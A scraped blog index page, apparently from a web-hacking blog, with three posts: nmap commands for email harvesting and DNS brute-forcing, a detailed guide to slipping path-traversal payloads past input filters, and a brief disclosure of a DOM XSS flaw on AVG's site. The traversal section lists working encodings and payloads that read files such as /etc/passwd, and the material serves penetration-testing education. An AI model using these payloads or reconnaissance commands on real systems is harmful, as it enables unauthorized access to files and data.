src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitVBjYDsQ4yazLws2tgg7a9f7IZoQZfMko8XE-gkTLskip-SNW2uW9Jc9loLx4cM-_bP8H_dhfa3sFczsgo5QuktSGQoBFYhpYLPSEZ11I0iTPHQGJxN-GaZPsUYNdq2tSUwSYuv1dROoQ/s320/information_gatherin.jpeg" title="nmap-as-information-gather-3" width="320" /></a></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Http-email-harvesting is official repository in nmap . But if you want to use Google webs & Google Group to find Email then you should Download Http-google-email from <a href="http://seclists.org/nmap-dev/2011/q3/att-401/http-google-email.nse">here</a>.</span></span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Use Following command to find email Address</span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>nmap -p80 --script http-email-harvest host-name</b></span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(4)Use NMAP as Brute Force DNS:- DNS recor contain useful information about website. There are many tools available for this purpose , But you can also use nmap for simple DNS Brute Force Attack.</span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Use Following command</span></span></div><div style="margin-bottom: 0in;"><span style="color: black;"><b> <span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">nmap -p80 --script dns-brute host-name</span></span></b></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnYf2REZ95ZL45xYMXF238XvKdLPOYJS8H1aXTILqfzXkyvmcys42ueOs0VqPNIYAHF-yKdCaa6ahqgeTN7u0VSR_QocZEaX9r2-7-6Z73gRCWmO4VEjUcIBYSCNM-UuTKAMomTn4ZgMAp/s1600/information_gathering+23.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="nmap-as-information-gather" border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnYf2REZ95ZL45xYMXF238XvKdLPOYJS8H1aXTILqfzXkyvmcys42ueOs0VqPNIYAHF-yKdCaa6ahqgeTN7u0VSR_QocZEaX9r2-7-6Z73gRCWmO4VEjUcIBYSCNM-UuTKAMomTn4ZgMAp/s320/information_gathering+23.jpeg" title="nmap-as-information-gather-2" width="320" /></a></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(5)Discovering Additional Host-name:- we can find additional host which has same I.p. Address using simple nmap script. It can help us to find web-application which hosted on same I.p. Address.</span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Download this nse script from <a href="http://seclists.org/nmap-dev/2011/q3/att-401/http-reverse-ip.nse">here</a>.</span></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM_mX4sbjwG4rCsd6J-OqIjzDgHhtLvJC3zRLhWNCbCkR2jUlgCFzk9QM_tbRl2_vkRWP-bLDKHrPnynXWQHoW6rVY_18n-izmejRKfCJkDFmjf-AdQ_p8jT3QQIMWo-rY3weLa5ihaki9/s1600/reverseip.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="nmap-as-information-gather" border="0" height="153" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM_mX4sbjwG4rCsd6J-OqIjzDgHhtLvJC3zRLhWNCbCkR2jUlgCFzk9QM_tbRl2_vkRWP-bLDKHrPnynXWQHoW6rVY_18n-izmejRKfCJkDFmjf-AdQ_p8jT3QQIMWo-rY3weLa5ihaki9/s320/reverseip.png" title="nmap-as-information-gather" width="320" /></a></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">You can aslo use following script code</span></span></div><div style="margin-bottom: 0in;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>nmap --script http-robtex-reverse-ip --script-args http-robtex-reverse-ip.host='ip'</b></span></span></div></div>

Use NMAP as a Information gathering tool

Usually we use NMAP as a port scanner to find open port of web-server, But with help of this Tool we can also gather Information about vict...

+ Read more »

How to Bypassing Filter to Traversal Attacks ?

<div dir="ltr" style="text-align: left;" trbidi="on">Bypassing Filter to Traversal Attacks<br /><br />If your initial attempts to perform a traversal attack, as described previously, are unsuccessful, this does not mean that the application is not vulnerable. Many application developers are aware of path traversal vulnerabilities and implement various kinds of input validation checks in an attempt to prevent them. However, those defenses are often flawed and can be bypassed by a skilled attacker.<br /><br />The first type of input filter commonly encountered involves checking<br /><br />whether the filename parameter contains any path traversal sequences, and if so, either rejects the request or attempts to sanitize the input to remove the sequences. This type of filter is often vulnerable to various attacks that use alternative encodings and other tricks to defeat the filter. These attacks all exploit the type of canonicalization problems faced by input validation mechanisms<br /><br />Always try path traversal sequences using both forward slashes and<br /><br />backslashes. Many input filters check for only one of these, when the file system may support both.<br /><br />Try simple URL-encoded representations of traversal sequences, using<br /><br />the following encodings. Be sure to encode every single slash and dot<br /><br />within your input:<br /><br />dot                            %2e<br /><br />forward slash           %2f<br /><br />backslash                  %5c<br /><br /><h3>Try using 16-bit Unicode–encoding:</h3><br />dot                           %u002e<br /><br />forward slash          %u2215<br /><br />backslash                %u2216<br /><br /><h3>Try double URL–encoding:</h3><br />dot                        %252e<br /><br />forward slash         %252f<br /><br />backslash                %255c<br /><br /><h3>Try overlong UTF-8 Unicode–encoding:</h3><br />dot                        %c0%2e       %e0%40%ae    %c0ae etc.<br /><br />forward slash        %c0%af       %e0%80%af      %c0%2f etc.<br /><br />backslash              %c0%5c       %c0%80%5c      etc.<br /><br />You can use the illegal Unicode payload type within Burp Intruder to generate a huge number of alternate representations of any given character, and submit this at the relevant place within your target parameter. These are representations that strictly violate the rules for Unicode representation but are nevertheless accepted by many implementations of Unicode decoders, particularly on the Windows platform.<br /><br />If the application is attempting to sanitize user input by removing traversal sequences, and does not apply this filter recursively, then it may be possible to bypass the filter by placing one sequence within another. For example:<br /><br />....//<br /><br />....\/<br /><br />..../\<br /><br />....\\<br /><br />The second type of input filter commonly encountered in defenses against path traversal attacks involves verifying whether the user-supplied filename contains a suffix (i.e., file type) or prefix (i.e., starting directory) that the application is expecting.<br /><br />Some applications check whether the user-supplied file name ends in a<br /><br />particular file type or set of file types, and reject attempts to access anything else. Sometimes this check can be subverted by placing a URL encoded null byte at the end of your requested filename, followed by a file type that the application accepts.<br /><br /><h3 style="text-align: left;">For example:</h3><div style="text-align: left;"><br />../../../../../boot.ini.jpg<br /><br />The reason this attack sometimes succeeds is that the file type check<br /><br />is implemented using an API in a managed execution environment<br /><br />in which strings are permitted to contain null characters (such as<br /><br />String.endsWith() in Java). However, when the file is actually retrieved, the application ultimately uses an API in an unmanaged environment in which strings are null-terminated and so your file name is effectively truncated to your desired value.<br /><br />A different attack against file type filtering is to use a URL-encoded newline character. Some methods of file retrieval (usually on Unix-based platforms) may effectively truncate your file name when a newline is encountered:<br /><br />../../../../../etc/passwd%0a.jpg<br /><br />Some applications attempt to control the file type being accessed by<br /><br />appending their own file type suffix to the filename supplied by the user. In this situation, either of the preceding exploits may be effective, for the same reasons.<br /><br />Some applications check whether the user-supplied file name starts with a particular subdirectory of the start directory, or even a specific file name. This check can of course be trivially bypassed as follows:<br /><br />wahh-app/images/../../../../../../../etc/passwd<br /><br />If none of the preceding attacks against input filters are successful individually, it may be that the application is implementing multiple types of filters, and so you need to combine several of these attacks simultaneously (both against traversal sequence filters and file type or directory filters). If possible, the best approach here is to try to break the problem down into separate stages. For example, if the request for<br /><br />diagram1.jpg<br /><br />is successful, but the request for<br /><br />foo/../diagram1.jpg<br /><br />fails, then try all of the possible traversal sequence bypasses until a variation on the second request is successful. If these successful traversal sequence bypasses don’t enable you to access /etc/passwd, probe whether any file type filtering is implemented and can be bypassed, by requesting<br /><br />diagram1.jpg.jpg<br /><br />Working entirely within the start directory defined by the application, try to probe to understand all of the filters being implemented, and see whether each can be bypassed individually with the techniques described.<br /><br />Of course, if you have white box access to the application, then your task is much easier, because you can systematically work through different types of input and verify conclusively what filename (if any) is actually reaching the file system. </div></div>

How to Bypassing Filter to Traversal Attacks ?

Bypassing Filter to Traversal Attacks If your initial attempts to perform a traversal attack, as described previously, are unsuccessful, thi...

+ Read more »

DOM Based XSS In AVG

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><img src="https://twimg0-a.akamaihd.net/profile_images/1272438885/DOMInatrixss.png" /></div><br />Lately, i have been researching on DOM based XSS a bit, Recently i found a DOM based XSS in AVG, DOM based XSS is caused due to lack of input filtering inside client side javascripts, since most of the code is moving towards client side, therefore DOM based xss have been very common now a days, It is predicted by the experts that the DOM based xss mostly occurs in the websites that heavily rely upon javascripts.<br /><a name="more"></a><br />With that being said, let's take a look at the DOM based XSS POC:<br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA6mhfVuxJFwNtoFqhv2jltHkiM9-rqw-98pnbB0sLy7R2_HsHvyNBcp-Dcmt7hiyQG0ZAxkovSPw-YMsKyld7p5f9n-vjNfZkN0dIILt6gYTQNrmrIf8m4yslBgED9kv8S4HLrd2MPIw/s1600/AVG.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA6mhfVuxJFwNtoFqhv2jltHkiM9-rqw-98pnbB0sLy7R2_HsHvyNBcp-Dcmt7hiyQG0ZAxkovSPw-YMsKyld7p5f9n-vjNfZkN0dIILt6gYTQNrmrIf8m4yslBgED9kv8S4HLrd2MPIw/s640/AVG.png" width="577" /></a><br /><br /><br />The vulnerability is the result of lack of escaping done in "js_stdfull.js". The following is the screen shot of the vulnerable code causing the DOM based XSS:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIabGoCleJQiab9yCez31enmHeMwrntvR5vO0m5GB06X244h0fuiShvMG2wtII5zLLOm-AO_gVD10ZHkPd4NrQTRsSTICP0L9p2Gdks9IpPrfHgYQdjH1hJU9_AZZPrTnbBc27h6wTeBE/s1600/AVG-DOM-XSS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="77" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIabGoCleJQiab9yCez31enmHeMwrntvR5vO0m5GB06X244h0fuiShvMG2wtII5zLLOm-AO_gVD10ZHkPd4NrQTRsSTICP0L9p2Gdks9IpPrfHgYQdjH1hJU9_AZZPrTnbBc27h6wTeBE/s640/AVG-DOM-XSS.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><b>Vulnerable code:</b><br /><br /> //display the correct tab based on the url (#name) var pathname = $(location).attr('href');var urlparts = pathname.split("#"); <br /><br />I would like to give full credits to <b>David Vieira-Kurz from Majorsecurity.com (@secalert)</b>, for helping me sort out the vulnerable code.<br /><br />Yet another security researcher, David Sopas also found the same issue but on the English version of the site:<br /><b><br />http://labs.davidsopas.com/2013/01/avg-vulnerable-to-dom-xss.html</b></div>

DOM Based XSS In AVG

Lately, i have been researching on DOM based XSS a bit, Recently i found a DOM based XSS in AVG, DOM based XSS is caused due to lack of inpu...

+ Read more »